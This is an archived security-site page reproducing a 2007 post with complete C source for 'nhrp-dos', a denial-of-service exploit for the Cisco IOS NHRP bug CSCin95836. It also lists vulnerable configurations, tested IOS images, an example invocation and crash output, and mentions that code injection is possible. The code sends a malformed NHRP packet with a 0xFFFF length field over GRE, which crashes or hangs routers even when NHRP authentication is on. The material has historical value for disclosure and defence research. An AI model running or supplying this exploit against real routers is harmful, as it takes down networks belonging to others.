TUCoPS :: Cisco :: tb11980.htm

Cisco NHRP denial of service (cisco-sa-20070808-nhrp)
Cisco NHRP denial of service (cisco-sa-20070808-nhrp)
Cisco NHRP denial of service (cisco-sa-20070808-nhrp)



Hi,

this exploit/DoS addresses the recent NHRP bug in Cisco IOS (CSCin95836 /
cisco-sa-20070808-nhrp). The original advisory can be found here:

http://www.cisco.com/en/US/products/products_security_advisory09186a008089963b.shtml 


Exploit/DoS:

/******************************************************************************/
/*                                                                            */
/* nhrp-dos - Copyright by Martin Kluge,  */ 
/*                                                                            */
/* Feel free to modify this code as you like, as long as you include the      */
/* above copyright statement.                                                 */
/*                                                                            */
/* Please use this code only to check your OWN cisco routers.                 */
/*                                                                            */
/* Cisco bug ID: CSCin95836                                                   */
/*                                                                            */
/* The Next-Hop-Resolution Protocol (NHRP) is defined in RFC2332. It is used  */
/* by a source host/router connected to a Non-Broadcast-Multi-Access (NBMA)   */
/* subnetwork to determine the internetworking layer address and NBMA         */
/* subnetwork addresses of the NBMA next hop towards the destination.         */
/* NHRP is often used for dynamic multipoint VPNs (DMVPN) in combination with */
/* IPSEC.                                                                     */
/*                                                                            */
/* URLs:                                                                      */
/* - [RFC2332/NHRP] http://rfc.net/rfc2332.html */ 
/* - [RFC1701/GRE] http://rfc.net/rfc1701.html */ 
/* - [DMVPNs with Cisco] http://www.cisco.com/en/US/tech/tk583/tk372/techno */ 
/*                        logies_white_paper09186a008018983e.shtml            */
/*                                                                            */
/* This code was only tested on FreeBSD and Linux, no warranty is or will be  */
/* provided.                                                                  */
/*                                                                            */
/* Vulnerable images (tested):                                                */
/*                                                                            */
/*  - c7100-jk9o3s-mz.123-12e.bin                                             */
/*  - c7200-jk8o3s-mz.122-40.bin                                              */
/*  - c3640-js-mz.122-15.T17.bin                                              */
/* (and many other IOS versions on different platforms)                       */
/*                                                                            */
/* Vulnerable configuration on cisco IOS:                                     */
/*                                                                            */
/* interface Tunnel0                                                          */
/*  ip address 10.0.0.1 255.255.255.128                                       */
/*  no ip redirects                                                           */
/*  no ip proxy-arp                                                           */
/*  ip mtu 1464                                                               */
/*  ip nhrp authentication mysecret                                           */
/*  ip nhrp network-id 1000                                                   */
/*  ip nhrp map multicast dynamic                                             */
/*  ip nhrp server-only                                                       */
/*  ip nhrp holdtime 30                                                       */
/*  tunnel source FastEthernet0/0                                             */
/*  tunnel mode gre multipoint                                                */
/*  tunnel key 123456789                                                      */
/*                                                                            */
/* This exploit works even if "ip nhrp authentication" is configured on the   */
/* cisco router. You can also specify a GRE key (use 0 to disable this        */
/* feature) if the GRE tunnel is protected. You don't need to know the        */
/* NHRP network id (or any other configuration details, except the GRE key if */
/* it is set on the target router).                                           */
/*                                                                            */
/* NOTE: The exploit only seems to work, if a NHRP session between the target */
/*       router and at least one client is established.                       */
/*                                                                            */
/* Code injection is also possible (thanks to sky for pointing this out), but */
/* it is not very easy and depends heavily on the IOS version / platform.     */
/*                                                                            */
/* Example:                                                                   */
/* root@elxsi# ./nhrp-dos vr0 x.x.x.x 123456789                               */
/*                                                                            */
/* Router console output:                                                     */
/*                                                                            */
/* -Traceback= 605D89A0 605D6B50 605BD974 605C08CC 605C2598 605C27E8          */
/* $0 : 00000000, AT : 62530000, v0 : 62740000, v1 : 62740000                 */
/*                                                                      */
/* EPC : 605D89A0, ErrorEPC : BFC01654, SREG : 3400FF03                       */
/* Cause 00000024 (Code 0x9): Breakpoint exception                            */
/*                                                                            */
/* Writing crashinfo to bootflash:crashinfo_20070321-155011                   */
/* === Flushing messages (16:50:12 CET Wed Mar 21 2007) ===                   */
/*                                                                            */
/* Router reboots or sometimes hangs ;)                                       */
/*                                                                            */
/*                                                                            */
/* Workaround: Disable NHRP ;)                                                */
/*                                                                            */
/* I'd like to thank the Cisco PSIRT and Clay Seaman-Kossmey for their help   */
/* regarding this issue.                                                      */
/*                                                                            */
/* Greetings fly to: sky, chilli, arbon, ripp, huega, gh0st, argonius, s0uls, */
/*                   xhr, bullet, nanoc, spekul, kaner, d, slobo, conny, H-Ra */
/*                   and #infiniteVOID                                        */
/*                                                                            */
/******************************************************************************/

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

/* BSD */
#define _BSD

/* Header sizes */
#define IP_HDR_SIZE     20
#define GRE_HDR_SIZE    4
#define GRE_KEY_SIZE 	4
#define NHRP_HDR_SIZE   62

/* Function prototypes */
int open_socket (void);
int close_socket (int);
int send_dos(int, unsigned long, unsigned long, unsigned long);
unsigned long resolve_ip (char *);
unsigned long get_int_ipv4 (char *);

/* Globals */
int sockfd;
int nhrp_req_id;

/* GRE header */
struct gre_h {
	unsigned short flags;   /* GRE flags */
	unsigned short ptype;   /* GRE protocol type */
	unsigned int   key;     /* GRE key */
};

/* NHRP header */
struct nhrp_h { 
/* NHRP fixed header (20 bytes) */
	struct {
		unsigned short afn;             /* NHRP AFN */ 
		unsigned short proto;           /* NHRP protocol type */
		unsigned int   snap;            /* NHRP SNAP */
		unsigned short snapE:8;         /* NHRP SNAP */
		unsigned short hops:8;          /* NHRP hop count */
		unsigned short length;          /* NHRP total length */
		unsigned short checksum;        /* NHRP checksum */
		unsigned short mpoa_ext;        /* NHRP MPOA extensions */
		unsigned short version:8;       /* NHRP version */
		unsigned short type:8;          /* NHRP type */
		unsigned short nbma_addr:8;     /* NHRP t/l of NBMA address */
		unsigned short nbma_sub:8;      /* NHRP t/l of NBMA subaddr */
	} fixed; 

	/* NHRP mandatory part */
	struct {
		unsigned short src_len:8;       /* NHRP src protocol length */
		unsigned short dst_len:8;       /* NHRP dest protocol length */
		unsigned short flags;           /* NHRP flags */
		unsigned int   request_id;      /* NHRP request ID */
		unsigned long  client_nbma;     /* NHRP client NBMA address */
		unsigned long  client_nbma_sub; /* NHRP client NBMA subaddr */
		unsigned long  client_pro_addr; /* NHRP client protocol addr */
	} mand;

	/* NHRP client information entries (CIE) */
	union {
		struct {
			unsigned short code:8;          /* NHRP code */
			unsigned short pref_len:8;      /* NHRP prefix length */
			unsigned short reserved;        /* NHRP reserved */
			unsigned short mtu;             /* NHRP MTU */
			unsigned short holding_time;    /* NHRP holding time */
			unsigned short len_client:8;    /* NHRP t/l cl addr */
			unsigned short len_client_sub:8;/* NHRP t/l cl sub */
			unsigned short len_client_pro:8;/* NHRP t/l cl pro */
			unsigned short preference:8;    /* NHRP preference */
			unsigned short ext;             /* NHRP extension */
		} cie;
	};
};


/* Main function */
int main (int argc, char **argv) {
	/* Check command line */
	if(argc != 4) {
fprintf(stderr, "\nnhrp-dos (c) by Martin Kluge , 2007\n"); 
		fprintf(stderr, "------------------------------------------------\n");
		fprintf(stderr, "Usage: ./nhrp-dos   \n");
		fprintf(stderr, "(Set GRE key = 0 to disable GRE keys!)\n\n");
		exit(EXIT_FAILURE);
	}

	/* Check UID */
	if(getuid() != 0 && geteuid() != 0) {
		fprintf(stderr, "Error: Please run as root!\n");
		exit(EXIT_FAILURE);
	}

	/* Open a socket */
	sockfd = open_socket();

	/* Send DoS packet */
	send_dos(sockfd, get_int_ipv4(argv[1]), resolve_ip(argv[2]), atoi(argv[3]));

	/* Close the socket */
	close_socket(sockfd);
	
	exit(EXIT_SUCCESS);
}


/* Open the socket */
int open_socket (void)
{
        int fd;
        int one = 1;
        void *ptr = &one;

        /* Open the socket */
        fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
        if(fd < 0) {
                fprintf(stderr, "Error: open_socket: Unable to open socket.\n");
                exit(EXIT_FAILURE);
        }

        /* Set IP_HDRINCL to include the IPv4 header in outgoing packets. */
        /* Otherwise it would be done by the kernel. */
        if(setsockopt(fd, IPPROTO_IP, IP_HDRINCL, ptr, sizeof(one)) < 0) {
                fprintf(stderr, "Error: open_socket: setsockopt failed.\n");
                exit(EXIT_FAILURE);
        }

        #ifndef _BSD
        if(setsockopt(fd, IPPROTO_IP, SO_BROADCAST, ptr, sizeof(one)) < 0) {
                fprintf(stderr,"Error: open_socket: setsockopt failed.\n");
                exit(EXIT_FAILURE);
        }
        #endif

        return(fd);
}


/* Close the socket */
int close_socket (int fd)
{
        return(close(fd));
}


/* Resolve the hostname to IP address */
unsigned long resolve_ip (char *host)
{
        struct in_addr addr;
        struct hostent *host_ent;

        if((addr.s_addr = inet_addr(host)) == -1) {
                if(!(host_ent = gethostbyname(host)))
                        return(-1);

                memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
        }

        return(addr.s_addr);
}


/* Get IPv4 address of DEVICE */
unsigned long get_int_ipv4 (char *device)
{
        int tmp_fd;
        struct ifreq ifr;
        struct sockaddr_in *sin;

        tmp_fd = socket(PF_INET, SOCK_DGRAM, 0);

        if(tmp_fd < 0) {
                fprintf(stderr, "Error: get_int_ipv4: socket failed.\n");
                exit(EXIT_FAILURE);
        }

        memset(&ifr, 0, sizeof(ifr));
        sin = (struct sockaddr_in *) &ifr.ifr_addr;
        strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));

        ifr.ifr_addr.sa_family = AF_INET;

        if(ioctl(tmp_fd, SIOCGIFADDR, (char *) &ifr) < 0) {
                fprintf(stderr, "Error: get_int_ipv4: ioctl failed.\n");
                exit(EXIT_FAILURE);
        }

        close(tmp_fd);
        return(sin->sin_addr.s_addr);
}


/* Send NHRP packet */
int send_dos (int fd, unsigned long src_ip, unsigned long dst_ip,
	       unsigned long gre_key)
{
	struct ip ip_hdr;
	struct ip *iphdr;
	struct gre_h gre_hdr;
	struct nhrp_h nhrp_hdr;
	struct sockaddr_in sin;
	unsigned int bytes = 0;
	int GRE_SIZE = GRE_HDR_SIZE;

	/* Packet buffer */
	unsigned char *buf;

	if(gre_key!=0)
		GRE_SIZE+=GRE_KEY_SIZE;

	/* Allocate some memory */
	buf = malloc(IP_HDR_SIZE+GRE_SIZE+NHRP_HDR_SIZE);

	if(buf < 0) {
		fprintf(stderr, "Error: send_dos: malloc failed.\n");
		exit(EXIT_FAILURE);
	}

	/* Increment NHRP request ID */
	nhrp_req_id++;

	/* IPv4 Header */
	ip_hdr.ip_v		= 4;			/* IP version */
	ip_hdr.ip_hl		= 5;			/* IP header length */
	ip_hdr.ip_tos		= 0x00;			/* IP ToS */
	ip_hdr.ip_len		= htons(IP_HDR_SIZE  +
				   GRE_SIZE +
				   NHRP_HDR_SIZE
				  );			/* IP total length */
	ip_hdr.ip_id		= 0;			/* IP identification */
	ip_hdr.ip_off		= 0;			/* IP frag offset */
	ip_hdr.ip_ttl		= 64;			/* IP time to live */
	ip_hdr.ip_p		= IPPROTO_GRE;		/* IP protocol */
	ip_hdr.ip_sum		= 0;			/* IP checksum */
	ip_hdr.ip_src.s_addr	= src_ip; 		/* IP source */
	ip_hdr.ip_dst.s_addr	= dst_ip;		/* IP destination */

	/* GRE header */
	if(gre_key != 0) {
		gre_hdr.flags	= htons(0x2000);	/* GRE flags */
		gre_hdr.key	= htonl(gre_key);	/* GRE key */
	} else {
		gre_hdr.flags 	= 0;
	}

	gre_hdr.ptype		= htons(0x2001);	/* GRE type (NHRP) */

	/* NHRP fixed header */
	nhrp_hdr.fixed.afn	= htons(0x0001);	/* NHRP AFN */
	nhrp_hdr.fixed.proto	= htons(0x0800);	/* NHRP protocol type */
	nhrp_hdr.fixed.snap	= 0;			/* NHRP SNAP */
	nhrp_hdr.fixed.snapE	= 0;			/* NHRP SNAP */
	nhrp_hdr.fixed.hops	= 0xFF;			/* NHRP hop count */

	/* DoS -> Set length to 0xFFFF */
	nhrp_hdr.fixed.length	= htons(0xFFFF);	/* NHRP length */

	/* Checksum can be incorrect */
	nhrp_hdr.fixed.checksum	= 0;			/* NHRP checksum */

	nhrp_hdr.fixed.mpoa_ext	= htons(0x0034);	/* NHRP MPOA ext */
	nhrp_hdr.fixed.version	= 1;			/* NHRP version */
	nhrp_hdr.fixed.type	= 3;			/* NHRP type */
	nhrp_hdr.fixed.nbma_addr= 4;			/* NHRP NBMA t/l addr */
	nhrp_hdr.fixed.nbma_sub	= 0;			/* NHRP NBMA t/l sub */

	/* NHRP mandatory part */
	nhrp_hdr.mand.src_len	= 4;			/* NHRP src proto len */
	nhrp_hdr.mand.dst_len	= 4;			/* NHRP dst proto len */
	nhrp_hdr.mand.flags	= htons(0x8000);	/* NHRP flags */
	nhrp_hdr.mand.request_id  = htonl(nhrp_req_id);	/* NHRP request ID */
	nhrp_hdr.mand.client_nbma = src_ip;		/* NHRP client addr */
	nhrp_hdr.mand.client_nbma_sub = 0;		/* NHRP client sub  */
	nhrp_hdr.mand.client_pro_addr = 0;		/* NHRP client proto */ 

	/* NHRP client information entries (CIE) */
	nhrp_hdr.cie.code	= 0;			/* NHRP code */
	nhrp_hdr.cie.pref_len	= 0xFF;			/* NHRP prefix len */
	nhrp_hdr.cie.reserved	= 0x0000;		/* NHRP reserved */
	nhrp_hdr.cie.mtu	= htons(1514);		/* NHRP mtu */
	nhrp_hdr.cie.holding_time = htons(30);		/* NHRP holding time */
	nhrp_hdr.cie.len_client	= 0;			/* NHRP t/l client */
	nhrp_hdr.cie.len_client_sub = 0;		/* NHRP t/l sub */
	nhrp_hdr.cie.len_client_pro = 0;		/* NHRP t/l pro */
	nhrp_hdr.cie.preference	= 0;			/* NHRP preference */
	nhrp_hdr.cie.ext	= htons(0x8003);	/* NHRP C/U/Type (ext)*/


	/* Copy the IPv4 header to the buffer */
	memcpy(buf, (unsigned char *) &ip_hdr, sizeof(ip_hdr));

	/* Copy the GRE header to the buffer */
	memcpy(buf + IP_HDR_SIZE, (unsigned char *) &gre_hdr, sizeof(gre_hdr));

	/* Copy the NHRP header to the buffer */
	memcpy(buf + IP_HDR_SIZE + GRE_SIZE, (unsigned char *) &nhrp_hdr,
		sizeof(nhrp_hdr));

        /* Fix some BSD bugs */
        #ifdef _BSD
        iphdr = (struct ip *) buf;
        iphdr->ip_len = ntohs(iphdr->ip_len);
        iphdr->ip_off = ntohs(iphdr->ip_off);
        #endif

	memset(&sin, 0, sizeof(struct sockaddr_in));
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = iphdr->ip_dst.s_addr;

printf("\nnhrp-dos (c) by Martin Kluge , 2007\n"); 
	printf("------------------------------------------------\n");
	printf("Sending DoS packet...");

	/* Send the packet */
	bytes = sendto(fd, buf, IP_HDR_SIZE + GRE_SIZE + NHRP_HDR_SIZE, 0,
			(struct sockaddr *) &sin, sizeof(struct sockaddr));

	printf("DONE (%d bytes)\n\n", bytes);

	/* Free the buffer */
	free(buf);

	/* Return number of bytes */
	return(bytes);
}


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH